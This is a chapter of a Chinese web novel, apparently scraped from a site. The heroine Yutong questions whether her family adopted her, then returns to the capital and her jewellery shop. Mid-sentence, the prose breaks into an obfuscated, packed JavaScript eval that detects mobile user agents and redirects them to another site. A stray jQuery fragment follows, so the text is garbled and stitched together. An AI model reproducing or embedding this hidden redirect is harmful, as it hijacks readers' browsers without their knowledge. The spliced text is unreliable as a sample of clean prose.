汾鹤镇。
雨桐走到厅堂门口的时候,看见二老和长兄崔成德正在说着什么。
她问及长嫂,父亲阴着脸没作声,娘亲看看崔成德,见他垂着头不语,只好自己回答雨桐的问话:
“你长嫂带着阿瑶回来,你兄长说话不好听,又生气走了。”
娘亲拉雨桐在身边坐下,口中还在苦劝儿子:
“她虽有错,可毕竟跟了你这么多年,再不济,还有阿瑶这个女儿牵扯着。总让她住娘家,算怎么回事?
“事情已经过去了,这两天,你就服个软,去把她母女接回来吧。”
崔成德垂着头,话语中带了点倔强:
“她都把娘气病了,这种妻子不能要!”
原来长兄被抓入狱后,长嫂特意从娘家回来,在崔家撒泼大闹,摔盆砸碗,指责双亲为老不尊,纵容儿子吃花酒纳小妾,如今遭了报应。
娘亲在病榻上默默垂泪,听到那番话,竟呕出一口血,昏了过去。
听娘亲又催促着让接,崔成德攥攥拳头,恨声道:
“不接!她不敬公婆,实在不孝!我忍她这么多年,这次不忍了,非休了她不可!”
娘亲一急,咳嗽得说不出话,脸憋得发红,只拿手捣着他。崔成德只得退让说:
“等母亲病好,再商议这件事吧。”
一家人说起家常话,谁知墨轩派人带信儿回来,询问长兄的事,父亲回信报了平安。
雨桐带来好多治伤的膏药,自责说,是自己得罪蓝府,给长兄招来灾祸。
崔成德局促摆手,说是因为自己行为不慎,中了奸计,不怪旁人。
双亲也不允许雨桐这样说,崔员外还自责道:“都怪娘家没有力量给你当靠山,才让你在外面吃了不少苦头。”
这就是她的椿萱,像融融暖日般呵护着她,把所有能给的都给了她,仍嫌给的太少。
单独跟娘亲在一起的时候,雨桐试探性地,问出了心中疑问:
“娘,别的孩子都记得小时候的事,可我六岁以前的记忆,为什么会没有啊?”
娘亲帮她理着碎发,嗔怪说:
“不是说了吗?你发烧生病,都烧忘了。小时候的事,记不得有什么要紧。只要现在好好的,不就行了?”
雨桐又问:
“娘亲,我左臂上有个伤疤,像是刀伤。那是怎么落下的?”
“喔......怎么突然想起问这个?”
崔氏瞅着雨桐的脸,
“那个伤疤你很小时候就有了,许是不小心碰到什么利器了吧?我不记得了。”
就凭娘亲对她的疼爱,受伤这样重大的事,只怕会让娘亲记一辈子。
她怎么可能记不得呢?
“娘亲!”
雨桐决定不绕弯弯,索性直接问了,
“长嫂说,我不是崔家人,是不知从哪里来的野种。我不是您亲生的吗?我是不是您和父亲领养来的?”
“她胡说!她混账东西!她怎可如此乱说?!小雨,你可别信她一派胡言!”
娘亲气得脸都憋红了,
“你是我们崔家唯一的女儿!是我们的亲生女儿!她才是外人!小雨千万别听她胡诌!她是怎样的人你还不清楚?!一生气就信口胡扯!你莫理睬她!”
崔氏拉紧雨桐的胳膊,像央求似的说:
“小雨,爹娘待你如何,你还不清楚吗?娘对你,比墨轩都要疼几分,你可千万不要瞎想,心里生出芥蒂啊!”
话说到这份儿上,雨桐也不忍再追问,就哄娘亲说:
“我的爹娘是世上最好的爹娘了!”
口中这么说,雨桐心里的疑团却并未解开。
长兄去铺子里看账时,雨桐跟过去,又悄悄向他询问。
如果她是领养来的,长兄这个年龄,肯定是知道实情的。
问话刚一出口,长兄就突然抬眼,紧张地打量她:
“小雨,你嫂子那日就是气怒之下胡说的,你可千万不要当真啊!你是崔家的女儿,我的亲妹妹,街坊邻居谁不知道这事?!你别瞎想了!”
街坊邻居都知道吗?
东头有家儿子是领养的,他们很忌讳有人提,唯恐旁人知晓。
可乡里乡亲的家事,哪里能瞒得过去,小孩子听得大人的只言片语,都毫不避讳地说出去。
雨桐跟那个孩子年岁相仿,常一起游戏,见过那小儿被小伙伴们嘲笑是野种,听说过小儿被养父母**,还见过他冬天被冻裂流血的肿胀若馒头的黑手掌。
她曾庆幸自己是亲生的,有父母宠上天的娇惯和宠爱。
或许,真的是自己想多了?
雨桐留下住了两天,看娘亲的病恢复很好,又有长兄在身边尽孝照应,放下心,就告辞回京城了。
进城门的时候,城外金乌斜挂在上空,已收敛了耀眼的强光,红若一片胭脂。
陌铭一身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175186|180031||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
黑色劲装,骑着马站在城门外,威风凛凛。
“小姐,您回来了?”
看到雨桐的马车驶过来,他飞身下马,站在车旁躬身行礼。
那日与夜穆寒交手之后,夜将军爱惜他武功非凡,收在军中历练,推荐他做了步军营的属官,掌司京城门禁。
陌铭起初还一根筋地拒绝,说他永远是小姐的护卫。
夜将军无奈,特意找雨桐说“人才难得”,雨桐就赶着陌铭去军中了。
“陌长官,”
雨桐打趣,
“你已经是军中官员了,不可再对我行礼。”
陌铭顿时涨红了脸,争辩道:
“陌铭永远是小姐的护卫。听闻小姐回来,特意跟人调了当值,我现在就护送小姐回去。”
他跳下马,跟随在雨桐马车旁边,大步流星同行。
夕阳为他苍劲的身影罩上金光,他虎步生风,五官硬朗深邃,像一尊低敛却内力无穷的神。
快走到珍宝阁的时候,慕容熙在她的珍宝阁**的画面,突然在雨桐眼前飞闪而过。
她那时惶惶不安,不知慕容熙封店铺,是暗助她夺回嫁妆。
慕容熙无声为她做了很多事,那个时候,他心里眼里只有自己,像情窦初开的少年郎,向她承诺一生一世。
她曾像一块儿坚冰,在终于被打动开始融化时,慕容熙却扭头转向别的女子了。
或许慕容熙做的一切,都只是不甘认输,为了自尊和占有欲吧。
为什么又想起他?!
雨桐甩甩头,将脑袋里有关慕容熙的画面都驱逐出去。
“停下!”
既然顺路,雨桐决定到店铺里去看一下,顺便查看这两日的账目。
两个小伙计大汗淋漓,往前面搬装着首饰的漆盒。
“怎么搬这么多?”
现在都快到打烊的时候了,应该是往后面库房收拾,而不是往店面搬这么多首饰。
“东家,有位小姐来咱们店里挑选首饰,要看最新款最昂贵的。”
雨桐点点头:“那就抬过去吧。”
有这么大的主顾,生意自然得好好做。
看了会儿账,发现比上月营收又多了三成,生意挺红火,她满意地揉了揉发酸的眉心,准备回去。
从侧门走出来,视线与正进门的一人相撞,她手指一僵,心脏漏跳了一拍。
“雨桐!你果然在这儿!”